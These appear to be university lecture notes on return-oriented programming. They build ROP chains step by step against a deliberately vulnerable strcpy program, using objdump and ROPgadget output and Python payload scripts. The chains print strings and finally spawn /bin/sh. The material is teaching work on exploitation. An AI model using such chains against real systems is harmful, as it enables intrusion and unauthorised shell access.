Lec. 24: If You Can Write an 'A' You Can Do Anything!
Table of Contents
1 ROP Chains
The concepts of Return Oriented Programming are really powerful. Previously, we saw where we can use a gadget to manipulate the stack so that we can chain functions together with different numbers of arguments. This time, we are going to try and write full exploits using only gadgets.
The difference in these procedures is that we are now going to leverage a quirk of x86. It is a variable length instruction set, which means that not all instructions fit within a set boundary. There are advantages to this with respect to performance of the CPU, e.g., the CPU can load multiple instructions with a single load call if the instructions are short enough, but this also means that embedded within natural code there is a hidden code if things get slightly out of align. Think about it: What is an instruction anyway other than just some bytes? It doesn't really matter where we find those bytes as long as they do what we need. The key is finding all the gadgets we need to get the job done and then chaining those gadgets together.
1.1 The goal for our ROP chain
The basic concept of ROP chaining is that a gadget is a small set of instructions, one or two, followed by a return. If we were to write the address of these instructions on the stack overwriting the return address, we can then chain a whole bunch together just like we did before. Each gadget does a simple tasks, but many of them could result in an exploit.
To start, we will use the following program that is compiled statically with glibc to give us a bit more code to play with in a nice predictable place.
#include <stdio.h> #include <stdlib.h> #include <string.h> void vuln(char * s){ char buf[100]; strcpy(buf,s); printf("Buf: %s\n", buf); } void main(int argc, char * argv[]){ vuln(argv[1]); }
The goal is to get this program to print 'A' to stdout, if we can do that, we can do anything. It means we can do arbitrary system calls to do arbitrary work. To start, let's remember how we would normally print an 'A' in x86:
section .txt global _start _start: xor eax,eax push eax push BYTE 0x41 ; 'A' mov ebx,eax ; inc ebx ; 1 for stdout mov ecx,esp ; references 'A' mov edx,eax inc edx ;length of 'A'. 1 inc eax inc eax inc eax inc eax ;eax is 4 for sys_write int 0x80
I've purposely written this to use small instructions so we can more easily find some gadgets that meet these instructions. Now the challenge is to find the codes we are interested in, but the crux of the matter is getting the following registers set up:
eax 0x3 ebx 0x1 ecx <"A\0"> (address of a null terminate string) edx 0x1 int 0x80
If we can get that, then we can write an 'A' to stdout, or any arbitrary string we choose.
2 Building a ROP chain from scratch
The first thing we need to do in order to build a ROP chain is to find
gadgets. First we will look at doing this manually by searching for
gadgets using objdump
and grep
. Latter we'll look at doing this in
a more automated fashion.
2.1 Finding Some Useful Gadgets
Let's use objdump and grep to get things started. Recall that the -A
option says to print two lines after a match, and the -B
options
says to print two lines before a match. If we do just a general
search, the first kind of gadgets that apear are all in the
pop;pop;ret category.
user@si485H-base:demo$ objdump -d -M intel vulnerable | grep -B 2 ret | head -31 80481c6: 83 c4 08 add esp,0x8 80481c9: 5b pop ebx 80481ca: c3 ret -- 804838d: 5f pop edi 804838e: 5d pop ebp 804838f: c3 ret -- 804841e: 5f pop edi 804841f: 5d pop ebp 8048420: c3 ret -- 804846e: 5e pop esi 804846f: 5f pop edi 8048470: c3 ret -- 8048549: 5f pop edi 804854a: 5d pop ebp 804854b: c2 04 00 ret 0x4 -- 8048710: 5f pop edi 8048711: 5d pop ebp 8048712: c3 ret -- 80488d5: 5f pop edi 80488d6: 5d pop ebp 80488d7: c3 ret -- 8048922: 5e pop esi 8048923: 5f pop edi 8048924: c3 ret
These are all usable gadgets because they allow us to set registers arbitrarily by popping something off the stack into a register. In genreal, there are going to be three really useful kinds of gadgets which we will need to find:
- pop reg : this will allow us to control the value in a register since we control the stack
- xor reg, reg : zero a register
mov dword ptr [r1], r2
: this will allow us to write to arbitrary memory
We already have at least a few of those above. For example, already,
we have found a lot of useful gadgets, such as: pop esi;pop edi;
ret;
. This will allow us to arbitrarily set the value of edi and esi
like following:
| <next gadget > | | value for edi | | value for esi | | <pop esi;pop edi; ret> |
2.2 Building a useful chain
Let's look for a bit more useful gadgets:
objdump -d -M intel vulnerable | grep -B 2 ret | grep -A 2 -B 1 xor (...) -- 80b80d5: 5d pop ebp 80b80d6: 31 c0 xor eax,eax 80b80d8: c3 ret
This gadget will zero out eax and set the value of ebx! Or if we just jump to the xor, simply zero out the value for eax. We also need a gadget to increment the value in eax:
user@si485H-base:demo$ objdump -d -M intel vulnerable | grep -B 2 ret | grep -A 2 -B 1 inc (...) -- 805caec: 40 inc eax 805caed: 5f pop edi 805caee: c3 ret
And we need a gadget to write to memory based on a register, something
like mov DWORD[edx],eax
user@si485H-base:demo$ objdump -d -M intel vulnerable | grep -B 2 ret | grep -A 2 "DWORD PTR \[edx\],eax" (...) 809a70d: 89 02 mov DWORD PTR [edx],eax 809a70f: c3 ret --
Now we have everything we need except a place to write too. For that we can use any old place in the data segment. Turns out 0x080ea060 is perfect for that.
2.3 Write an "A\0" to memory ROP chain
If we can find the right gadgets, then writing a ROP chain to just write "A\0" to a memory location is actually rather straight forward. It should look something like this:
| <mov [edx],eax;ret> | write '0000' to address 0x080ea61 | 0x080ea061 | next byte after 0x80ea61 | <pop edx; ret> | store next value in edx | <xor eax,eax; ret> | zero eax | <mov [edx],eax;ret> | write 'AAAA' to address 0x080ea60 | 0x41414141 | 'AAAA' | <pop eax;ret> | store next value in eax ^ | 0x080ea060 | address we will write to, now stored in edx | | <pop edx; ret> | store next value in edx
Reading from bottom to top up the stack. First we move the address we want to write to into edx with a pop, then similarly we move a bunch of A's into eax. Then we can write to the address edx the A's in eax. Once we zero out eax and write that to the next byte, we should have the string "A\0" at address 0x080ea061.
Let's find the right gadgets. First we need pop edx;ret
:
user@si485H-base:demo$ objdump -d -M intel vulnerable | grep -B 4 ret | grep -A 4 "pop.*edx" 806e97a: 5a pop edx 806e97b: c3 ret
Then we need a pop pop eax; ret
. Unfortunately, finding this is
harder, and unfortunately, the one I found does a bunch of other
stuff:
user@si485H-base:demo$ objdump -d -M intel vulnerable | grep -B 4 ret | grep -A 4 "pop.*eax" 809e08a: 58 pop eax 809e08b: 5b pop ebx 809e08c: 5e pop esi 809e08d: 5f pop edi 809e08e: c3 ret
But that's fine, we can handle that. And, we already have the mov
command:
user@si485H-base:demo$ objdump -d -M intel vulnerable | grep -B 2 ret | grep -A 2 "DWORD PTR \[edx\],eax" (...) 809a70d: 89 02 mov DWORD PTR [edx],eax 809a70f: c3 ret --
The last thin we need is xor
eax command:
user@si485H-base:demo$ objdump -d -M intel vulnerable | grep -B 1 ret | grep -A 1 "xor.*eax,eax" 8054200: 31 c0 xor eax,eax 8054202: c3 ret (...)
This means we can put together the chain like so:
0x0809a70d | <mov [edx],eax;ret> | write '0000' to address 0x080ea61 0x080ea061 | 0x080ea061 | next byte after 0x80ea61 0x0806e97a | <pop edx; ret> | store next value in edx 0x08054202 | <xor eax,eax; ret> | zero eax 0x0809a70d | <mov [edx],eax;ret> | write 'AAAA' to address 0x080ea60 0xdeadbeef | 0xdeadbeef | to be stored in edi 0xdeadbeef | 0xdeadbeef | to be stored in esi 0xdeadbeef | 0xdeadbeef | to be stored in ebx 0x41414141 | 0x41414141 | 'AAAA' to be stored in eax 0x0809e080 | <pop eax; pop ebx; pop esi; pop edi ret> | store next value in eax 0x080ea060 | 0x080ea060 | address we will write to, now stored in edx 0x0806e87a | <pop edx; ret> | store next value in edx
Notice the 0xdeadbeef
. This is because the gadget to set eax comes
with some added bagage, namely a bunch of extra pop's that have to be
handled. These pop's will clear the stack of values, so we need to add
some values on the stack, 0xdeadbeef's, so we don't interfere with the
rest of the chain.
2.4 Executing the ROP Chain
One problem with ROP chains is that they are long, much longer then something we can just casually type on the command line. It then makes sense to store it in a file, and python is the right tool for the job.
p = 'A'*0x70 #put padding here p += pack('<I', 0x0806e97a) #pop edx; ret p += pack('<I', 0x080ea060) #address to write to p += pack('<I', 0x0809e080) #pop eax;pop ebx; pop esi; pop edi; ret p += pack('<I', 0x41414141) #'AAAA' p += pack('<I', 0xdeadbeef) # filler p += pack('<I', 0xdeadbeef) # filler p += pack('<I', 0xdeadbeef) # filler p += pack('<I', 0x0809a70d) # mov [edx],eax;ret p += pack('<I', 0x08054202) # xor eax,eax p += pack('<I', 0x0806e97a) #pop edx; ret p += pack('<I', 0x080ea061) #address to write to p += pack('<I', 0x0809a70d) # mov [edx],eax;ret p += pack('<I', 0xcafebabe) # will segfault here print p
Note that the pack('<I',0xdeadbeef)
will create a properly formatted
little Endian string of 0xdeadbeef. Also note that we built the
exploit string in reverse order from the presentation above. I also
places a 0xcafebabe in there so we can know if we segfaulted and
reached the end of our ropchain, so let's try it out and see if we get
there:
user@si485H-base:demo$ ./vulnerable `python rop_chain.py` Buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAz`?? Segmentation fault (core dumped) user@si485H-base:demo$ dmesg | tail -1 [1551626.753436] vulnerable[10562]: segfault at bf00e080 ip bf00e080 sp bffff618 error 14
Hmm. It did not work, why? Well look closely a the ip
we segfaulted
on 0xbf00e080. There is a null byte in there, and also that looks a
lot like the address for our pop eax; pop ebx; pop esi; pop edi;
ret;
at 0x0809e080. The 0x098 did not wite onto the stack, and the
reason for that is 0x09 is '\t' (tab) and that terminated the
strcpy()
.
It turns out that not all of our gadgets that we find can be used because the address may contain values we can't include in the overflow. Looks like we need to hunt for more gadgets!
2.5 Gadgets within Other Operations
One thing we can leverage here is that x86 is not a fixed size
instruction set. Instead, any sequence of bytes could be a valid
instruction. Before, the address of pop eax
gadget was at an address
that was not useful, but we can look for another one that might be
embeded elsehwere.
To start, it is worthwhile to know that byte 0xc3 is the return
operation and address 0x58 is the pop eax
instruction. In that case,
we can do a search for that address and find:
user@si485H-base:demo$ objdump -d -M intel vulnerable | grep -B 2 "c3" | grep -A 2 58 (...) 80bb744: 8b 40 58 mov eax,DWORD PTR [eax+0x58] 80bb747: c3 ret (...)
And there, within that mov instruction, we see that there is a 0x58 followed by a 0xc3. That means we can use address 0x080bb746 in our ROP chain. Now we can use the following rop chain:
p += pack('<I', 0x0806e97a) #pop edx; ret p += pack('<I', 0x080ea060) #address to write to p += pack('<I', 0x080bb746) #pop eax; ret p += pack('<I', 0x41414141) #'AAAA' p += pack('<I', 0x0809a70d) # mov [edx],eax;ret p += pack('<I', 0x08054202) # xor eax,eax p += pack('<I', 0x0806e97a) #pop edx; ret p += pack('<I', 0x080ea061) #address to write to p += pack('<I', 0x0809a70d) # mov [edx],eax;ret p += pack('<I', 0xcafebabe) # will segfault here
And if we test it to see if we get to the 0xcafebabe:
user@si485H-base:demo$ ./vulnerable `python rop_chain.py` Buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAz`F? ? AAAA Segmentation fault (core dumped) user@si485H-base:demo$ dmesg | tail -1 [1555336.602578] vulnerable[10650]: segfault at 800a70d ip 0800a70d sp bffff630 error 14 in vulnerable[8048000+a1000]
Not again. This time it is 0x09 in the mov [edx],eax; ret
instruction. Seems like we need a better way because we can continue
to explore for these embedded gasgets, but thats a lot of
work. Thankfully, there are tools to make this a lot easier.
2.6 Automated Gadget Hunting
Because it's a pain in the ass to find the ROP gadgets by hand, people have developed automated tools for both finding gadgets and automatically assembling exploits based on those gadgets. The one we'll focus on today is ROPgadget. You should work to install it on your own virtual box system.
While ROPgadget does all sorts of cool things, we'll primarily use it to find gadgets for us. Here's the most basic usage where I am just seperating out the pop eax instructions:
user@si485H-base:demo$ ./ROPgadget.py --binary ./vulnerable | grep ": pop eax " 0x0808f020 : pop eax ; adc al, -0x7b ; sal byte ptr [edx + ecx + 0xffffffc1], cl ; retf 0x080a9926 : pop eax ; adc al, 0x39 ; ret 0x080e01f5 : pop eax ; add byte ptr [eax], al ; mov bh, dl ; clc ; jmp dword ptr [ebx] 0x0806c1b6 : pop eax ; add byte ptr [eax], al ; xor eax, eax ; leave ; ret 0x080e0e1c : pop eax ; add byte ptr fs:[eax], al ; add byte ptr [eax], -7 ; jmp edi 0x08054a15 : pop eax ; and al, -0x77 ; dec eax ; or al, 1 ; retf 0x5089 0x0808cf6d : pop eax ; and bl, ch ; ret -0x4b73 0x0805ae06 : pop eax ; je 0x805ae17 ; add esp, 0x68 ; pop ebx ; ret 0x0809d932 : pop eax ; jmp dword ptr [eax] 0x0809e5b3 : pop eax ; mov dword ptr [esp + 4], eax ; call 0x80ab047 0x0807b5c8 : pop eax ; mov eax, 0x77 ; int 0x80 0x080858e1 : pop eax ; mov eax, edx ; add esp, 0x1c ; ret 0x0805c84c : pop eax ; mov edi, eax ; mov esi, edx ; mov eax, dword ptr [esp + 4] ; ret 0x080539ce : pop eax ; or al, -0x77 ; push eax ; add al, -0x77 ; dec eax ; and al, 0x5b ; ret 0x080573eb : pop eax ; or al, 0x39 ; ret 0x0808b691 : pop eax ; or byte ptr [ebx + 0x89010442], al ; retf -0x1e7d 0x0808c521 : pop eax ; or byte ptr [ecx + 0x20488910], cl ; pop ebx ; ret 0x080e359d : pop eax ; or cl, byte ptr [esi] ; adc al, 0x41 ; ret 0x080e5cff : pop eax ; or cl, byte ptr [esi] ; or al, 0x41 ; ret 0x08058169 : pop eax ; or dh, dh ; ret 0x0804a0cf : pop eax ; or dh, dh ; ret 0xfdf 0x0809e02a : pop eax ; pop ebx ; pop esi ; pop edi ; ret 0x080e105d : pop eax ; push cs ; adc al, 0x41 ; ret 0x080bb746 : pop eax ; ret <--- 0x08071fba : pop eax ; ret 0x80e 0x080b0914 : pop eax ; retf 0x080554f9 : pop eax ; xor byte ptr [ebx + 0xffffff83], bl ; retf -0x7cfe
In the list, indicated with an "<—", you see the pop eax;ret
we
found earlier. Now we only need to find mov [edx],eax
instruction:
user@si485H-base:demo$ ./ROPgadget.py --binary ./vulnerable | grep ": mov dword ptr \[edx\]" 0x080e62a9 : mov dword ptr [edx], cs ; push cs ; adc al, 0x41 ; ret 0x080e3b65 : mov dword ptr [edx], cs ; push cs ; adc al, 0x43 ; ret 0x080e345b : mov dword ptr [edx], cs ; push cs ; or al, 0x41 ; ret 0x08066fc4 : mov dword ptr [edx], eax ; lea eax, dword ptr [edx + 1] ; pop edi ; ret 0x08067104 : mov dword ptr [edx], eax ; lea eax, dword ptr [edx + 1] ; ret 0x08066ef2 : mov dword ptr [edx], eax ; lea eax, dword ptr [edx + 3] ; pop edi ; ret 0x08067122 : mov dword ptr [edx], eax ; lea eax, dword ptr [edx + 3] ; ret 0x080656a2 : mov dword ptr [edx], eax ; mov eax, edi ; pop edi ; ret 0x08065894 : mov dword ptr [edx], eax ; mov eax, edx ; ret 0x080a713b : mov dword ptr [edx], eax ; mov ebx, dword ptr [ebp + 0xfffffffc] ; leave ; ret 0x0808fc26 : mov dword ptr [edx], eax ; pop ebx ; ret <-- but this one works fine 0x0809a70d : mov dword ptr [edx], eax ; ret <--- One from before 0x0807457c : mov dword ptr [edx], ecx ; add esp, 0x6c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x0805ee34 : mov dword ptr [edx], ecx ; mov eax, dword ptr [esp + 4] ; ret 0x080e4871 : mov dword ptr [edx], ecx ; push cs ; adc al, 0x43 ; ret 0x08054992 : mov dword ptr [edx], ecx ; ret
As you can see, we found the previous one from before with the 0x09
tab in it, but we can also find one that does the same, but with a
pop ebx
in the middle without a 0x09 in the address. So now we have
the following, where we use 0xdeadbeef to pop into ebx
p += pack('<I', 0x0806e97a) #pop edx; ret p += pack('<I', 0x080ea060) #address to write to p += pack('<I', 0x080bb746) #pop eax; reat; p += pack('<I', 0x41414141) #'AAAA' p += pack('<I', 0x0808fc26) # mov [edx],eax;pop ebx;ret p += pack('<I', 0xdeadbeef) # filler for pop ebx p += pack('<I', 0x08054202) # xor eax,eax p += pack('<I', 0x0806e97a) #pop edx; ret p += pack('<I', 0x080ea061) #address to write to p += pack('<I', 0x0808fc26) # mov [edx],eax;pop ebx;ret p += pack('<I', 0xdeadbeef) # filler for pop ebx p += pack('<I', 0xcafebabe) # will segfault here
And if we run this, we see we segfault on cafebabe, hurray!
user@si485H-base:demo$ ./vulnerable `python rop_chain.py` Buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAz`F? AAAAᆳ?zaᆳ??? Segmentation fault (core dumped) user@si485H-base:demo$ dmesg | tail -1 [1560517.099344] vulnerable[10793]: segfault at cafebabe ip cafebabe sp bffff64c error 15
3 Completing the Exploit
Now that you've seen what the game is like, we can finish this exploit and write an 'A' to stdout. At this point it is only a matter of finding the right gadgets:
user@si485H-base:demo$ cat print_A_rop.py #!/usr/bin/python from struct import pack p = '+'*(0x70) #padding #Write an A to 0x080ea060 p += pack('<I', 0x0806e97a) #pop edx; ret p += pack('<I', 0x080ea060) #address to write to p += pack('<I', 0x080bb746) #pop eax; ret p += pack('<I', 0x41414141) #'AAAA' p += pack('<I', 0x0808fc26) # mov [edx],eax;pop ebx;ret p += pack('<I', 0xdeadbeef) # filler for pop ebx, will be adjust to 0x01 below #Set eax to 0x4 and ebx to 0x1 p += pack('<I', 0x080584a6) # : xor eax, eax ; pop ebx ; ret p += pack('<I', 0xffffffff)# set ebx to 0xfffffff p += pack('<I', 0x080e2593) #: add al, 2 ; inc ebx ; ret (ebx=0xffffffff+1 = 0x00000000) p += pack('<I', 0x080e2593) #: add al, 2 ; inc ebx ; ret (ebx=0x00000000+1 = 0x00000001) #Set ecx to 0x080ea060 p += pack('<I', 0x080e4c5d) # pop ecx ; ret p += pack('<I', 0x080ea060) #address of AAAA #set edx to 0x1 p += pack('<I', 0x0806e97a)# pop edx ; ret p += pack('<I', 0xffffffff)# set edx to 0xfffffff p += pack('<I', 0x0805d0e7)# : inc edx ; ret p += pack('<I', 0x0805d0e7)# : inc edx ; ret (now edx is 0x1) #call interupt p += pack('<I', 0x0806f040) # int 0x80; ret p += pack('<I', 0xcafebabe) # <-- segfault here print p
And then we can run it:
user@si485H-base:demo$ ./vulnerable `python print_A_rop.py` Buf: ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++z`F? AAAAᆳަ??????]`z??????@???? ASegmentation fault (core dumped) user@si485H-base:demo$ dmesg | tail -1 [1564247.938610] vulnerable[11157]: segfault at cafebabe ip cafebabe sp bffff654 error 15
And you see, there's our A!
3.1 Printing a Sequence of Chars
Now that we can print an "A", let's try and print something a bit more exciting, like "Go Navy"` At this point, we have successfully created the string we are going to write, the next thing we need is to be able set up the remainder of the registers or call a function that can print to the screen.
The cool thing is now that we have the infrastructure, we can just make functions out of these. That is, we can make a function that produces a ROP chain that does our task, and then we can just chain those together:
user@si485H-base:demo$ cat print_string_rop.py #!/usr/bin/python import sys from struct import pack #write a char to memory def write_char(a): p = "" #Write a to 0x080ea060 p += pack('<I', 0x0806e97a) #pop edx; ret p += pack('<I', 0x080ea060) #address to write to p += pack('<I', 0x080bb746) #pop eax; ret p += pack('<I', a) # character we want to print p += pack('<I', 0x0808fc26) # mov [edx],eax;pop ebx;ret p += pack('<I', 0xdeadbeef) # filler for pop ebx, will be adjust to 0x01 below return p #write a space to memory def write_space(): p = "" #Write a to 0x080ea060 p += pack('<I', 0x0806e97a) #pop edx; ret p += pack('<I', 0x080ea060) #address to write to p += pack('<I', 0x080bb746) #pop eax; ret p += pack('<I', 0x1f1f1f1f) # write byte one less than 0x20 for space p += pack('<I', 0x0807b466) # inc eax ; ret (turns least significant byte to 0x20) p += pack('<I', 0x0808fc26) # mov [edx],eax;pop ebx;ret p += pack('<I', 0xdeadbeef) # filler for pop ebx, will be adjust to 0x01 below return p #write a newline to memory def write_newline(): p = "" #Write a to 0x080ea060 p += pack('<I', 0x0806e97a) #pop edx; ret p += pack('<I', 0x080ea060) #address to write to p += pack('<I', 0x080584a6) # : xor eax, eax ; pop ebx ; ret p += pack('<I', 0xdeadbeef) # filler for pop ebx p += pack('<I', 0x0807b466) # inc eax p += pack('<I', 0x0807b466) # inc eax p += pack('<I', 0x0807b466) # inc eax p += pack('<I', 0x0807b466) # inc eax p += pack('<I', 0x0807b466) # inc eax p += pack('<I', 0x0807b466) # inc eax p += pack('<I', 0x0807b466) # inc eax p += pack('<I', 0x0807b466) # inc eax p += pack('<I', 0x0807b466) # inc eax p += pack('<I', 0x0807b466) # inc eax p += pack('<I', 0x0808fc26) # mov [edx],eax;pop ebx;ret p += pack('<I', 0xdeadbeef) # filler for pop ebx return p #print the char in memory to the screen def print_char(): p = "" #Set eax to 0x4 and ebx to 0x1 p += pack('<I', 0x080584a6) # : xor eax, eax ; pop ebx ; ret p += pack('<I', 0xffffffff)# set ebx to 0xfffffff p += pack('<I', 0x080e2593) #: add al, 2 ; inc ebx ; ret (ebx=0xffffffff+1 = 0x00000000) p += pack('<I', 0x080e2593) #: add al, 2 ; inc ebx ; ret (ebx=0x00000000+1 = 0x00000001) #Set ecx to 0x080ea060 p += pack('<I', 0x080e4c5d) # pop ecx ; ret p += pack('<I', 0x080ea060) #address of AAAA #set edx to 0x1 p += pack('<I', 0x0806e97a)# pop edx ; ret p += pack('<I', 0xffffffff)# set edx to 0xfffffff p += pack('<I', 0x0805d0e7)# : inc edx ; ret p += pack('<I', 0x0805d0e7)# : inc edx ; ret (now edx is 0x1) #call interupt p += pack('<I', 0x0806f040) # int 0x80; ret return p #convert a char to 0xXXXXXXX number def dub_char(s): r = ord(s[0]) r = r | r << 8 | r << 16 | r << 24 return r if __name__ == "__main__": p = '+'*(0x70) #padding for c in sys.argv[1]: if ord(c) == 0x20: p += write_space() else: p += write_char(dub_char(c)) p += print_char() p += write_newline() p += print_char() p += pack('<I', 0xcafebabe) # <-- segfault here print p
And it works:
user@si485H-base:demo$ ./vulnerable `python print_string_rop.py "Go Navy, Beat Army!"` Buf: ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++z`F? GGGGᆳަ??????]`z??????@z`F? ooooᆳަ??????]`z??????@z`F? fᆳަ??????]`z??????@z`F? NNNNᆳަ??????]??????@z`F? aaaaᆳަ??????]`z??????@z`F? vvvvᆳަ??????]`z??????@z`F? yyyyᆳަ??????]`z??????@z`F? ,,,,ᆳަ??????]`z??????@z`F? fᆳަ??????]`z??????@z`F? BBBBᆳަ??????]`z??????@z`F? eeeeᆳަ??????]`z??????@z`F? aaaaᆳަ??????]`z??????@z`F? tttᆳަ??????]`z??????@z`F? fᆳަ??????]`z??????@z`F? AAAAᆳަ??????]`z??????@z`F? rrrrᆳަ??????]`z??????@z`F? mmmmᆳަ??????]`z??????@z`F? yyyyᆳަ??????]`z??????@z`F? !!!!ᆳަ??????]`z??????@z`?ᆳ?ffffffffffᆳަ??????]`z??????@???? Go Navy, Beat Army! Segmentation fault (core dumped) user@si485H-base:demo$ dmesg | tail -1 [1565900.040307] vulnerable[11345]: segfault at cafebabe ip cafebabe sp bffff654 error 15
3.2 Launching a shell
We actually have everything we need to also launch a shell. It is the same as writing an 'A' but now we also have to set up the other registers slightly differently. Recall, this is what we need:
- eax : 0xb
- ebx : address of the string "/bin/sh\0"
- ecx : 0x0
- edx : 0x0
We can do that.
user@si485H-base:demo$ cat shell_rop.py from struct import pack p = '+'*(0x70) #padding #Write an /bin to 0x080ea060 p += pack('<I', 0x0806e97a) #pop edx; ret p += pack('<I', 0x080ea060) #address to write to p += pack('<I', 0x080bb746) #pop eax; ret p += "/bin" # bin p += pack('<I', 0x0808fc26) # mov [edx],eax;pop ebx;ret p += pack('<I', 0xdeadbeef) # filler for pop ebx, will be adjust to 0x01 below #Write an //sh 0x080ea064 p += pack('<I', 0x0806e97a) #pop edx; ret p += pack('<I', 0x080ea064) #address to write to p += pack('<I', 0x080bb746) #pop eax; ret p += "//sh" # bin p += pack('<I', 0x0808fc26) # mov [edx],eax;pop ebx;ret p += pack('<I', 0xdeadbeef) # filler for pop ebx, will be adjust to 0x01 below #Set eax to 0xb and ebx to 0x080ea060 p += pack('<I', 0x080584a6) # : xor eax, eax ; pop ebx ; ret p += pack('<I', 0x080ea060) #address of "/bin/sh" p += pack('<I', 0x0807b466) # inc eax (1) p += pack('<I', 0x0807b466) # inc eax (2) p += pack('<I', 0x0807b466) # inc eax (3) p += pack('<I', 0x0807b466) # inc eax (4) p += pack('<I', 0x0807b466) # inc eax (5) p += pack('<I', 0x0807b466) # inc eax (6) p += pack('<I', 0x0807b466) # inc eax (7) p += pack('<I', 0x0807b466) # inc eax (8) p += pack('<I', 0x0807b466) # inc eax (9) p += pack('<I', 0x0807b466) # inc eax (a) p += pack('<I', 0x0807b466) # inc eax (b) #Set ecx to 0 p += pack('<I', 0x080e4c5d) # : pop ecx ; ret p += pack('<I', 0xffffffff) # value for ecx p += pack('<I', 0x080daa6c) # : inc ecx ; ret (ecx now zero) #Set edx to 0 p += pack('<I', 0x0806e97a)# pop edx ; ret p += pack('<I', 0xffffffff)# set edx to 0xfffffff p += pack('<I', 0x0805d0e7)# : inc edx ; ret #call interupt p += pack('<I', 0x0806f040) # int 0x80; ret print p
user@si485H-base:demo$ ./vulnerable `python shell_rop.py` Buf: ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++z`F? /binᆳ?zdF? z?????@? //shᆳަ`fffffffffff]????l? $ echo "Go Navy, Beat Army!" Go Navy, Beat Army! $
THE END!